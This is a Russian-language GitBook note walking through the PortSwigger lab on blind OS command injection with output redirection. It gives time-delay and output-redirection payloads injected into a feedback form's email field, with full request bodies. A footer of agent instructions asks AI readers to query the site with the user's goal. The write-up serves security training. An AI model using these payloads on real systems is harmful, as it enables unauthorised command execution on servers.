> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/command-injection/blind-os-command-injection-with-output-redirection.md).

# Слепая инъекция команд ОС с перенаправлением вывода

Заметки по слепой инъекции команд ОС с перенаправлением вывода для лабораторных работ PortSwigger Web Security Academy, включая процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст исправления.

### Слепая инъекция ОС-команд с перенаправлением вывода

#### Описание лабораторной работы

* Приложение уязвимо к инъекции системных команд **слепая** в функции обратной связи.
* Данные, введённые пользователем, внедряются в shell-команду на стороне сервера.
* Вывод этой команды \*\*не возвращается\*\* напрямую в HTTP-ответе.
* Однако есть доступная запись в письменном виде:/ `/var/www/images/`
* Приложение раздаёт изображения каталога, создаваемые из этой директории.
* Поэтому мы можем **направить вывод** команды в файл в этой папке, а затем прочитать этот файл через URL загрузки изображения.

**Цель лабораторной работы:** Выполните `whoami` команду и получите её вывод.

```bash
;sleep 10;
```

#### Обнаружение инъекции (задержка по времени)

Используется форма обратной связи. / Поле **электронная почта** уязвимо: при внедрении задержки ответ занимает около 10 секунд.

Полезная нагрузка, внедрённая в `электронная почта` поле:

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;sleep 10;&subject=hello&message=hello1234
```

{% endcode %}

10-секундная задержка подтверждает инъекцию управляющей команды.

#### Операция с перенаправлением вывода

Цель: перенаправить вывод `whoami` в файл в `/var/www/images/`.

Полезная нагрузка, внедрённая в `электронная почта` поле:

```
;whoami > /var/www/images/test.txt;
```

Пример тела запроса:

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;whoami > /var/www/images/test.txt;&subject=hello&message=hello1234
```

{% endcode %}

Эта команда создаёт (или перезаписывает) `test.txt` файл в каталоге, доступном через веб.

```bash
/image?filename=test.txt
```

#### Получение результата

Чтобы прочитать вывод `whoami` сохранённый в файле, мы вызываем URL, который отдаёт файлы в папке изображений:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed3ffaf39b5ba16339682b9ea2336eeabffe6992%2Fimage%20(312).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/command-injection/blind-os-command-injection-with-output-redirection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
